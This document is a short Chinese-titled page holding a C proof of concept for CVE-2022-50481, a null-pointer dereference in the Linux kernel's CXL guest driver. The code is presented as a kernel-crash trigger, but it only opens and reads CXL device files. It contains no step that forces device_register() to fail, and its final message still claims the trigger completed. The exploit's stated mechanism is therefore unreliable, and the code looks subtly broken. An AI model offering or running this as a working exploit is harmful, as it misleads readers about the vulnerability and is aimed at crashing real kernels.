CVE-2022-50481 Linux内核CXL驱动空指针解引用漏洞

/* CVE-2022-50481 PoC - Trigger null-ptr-deref in cxl_guest_init_afu/adapter() * * This PoC demonstrates how to trigger the vulnerability by forcing * device_register() to fail in the CXL Guest driver initialization path. * * Compile: gcc -o poc_cve_2022_50481 poc_cve_2022_50481.c * Note: Requires root privileges and CXL support in kernel */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> /* Trigger CXL Guest AFU initialization by accessing cxl device files */ int trigger_cxl_afu_init(const char *afu_path) { int fd; char buf[4096]; /* Attempt to open and interact with CXL AFU device */ fd = open(afu_path, O_RDWR); if (fd < 0) { perror("open CXL AFU device"); return -1; } /* Perform IOCTL or read operations to trigger initialization */ /* This may cause device_register() to fail under specific conditions */ if (read(fd, buf, sizeof(buf)) < 0) { perror("read CXL AFU device"); } close(fd); return 0; } /* Trigger CXL Guest Adapter initialization */ int trigger_cxl_adapter_init(const char *adapter_path) { int fd; fd = open(adapter_path, O_RDWR); if (fd < 0) { perror("open CXL adapter device"); return -1; } /* Interact with adapter to trigger init path */ close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50481 PoC - CXL Guest null-ptr-deref\n"); /* Try to trigger via AFU path */ if (argc > 1) { trigger_cxl_afu_init(argv[1]); } else { /* Default CXL device paths */ trigger_cxl_afu_init("/dev/cxl/afu0.0"); trigger_cxl_adapter_init("/dev/cxl/card0"); } printf("Trigger completed. Check dmesg for kernel oops.\n"); return 0; }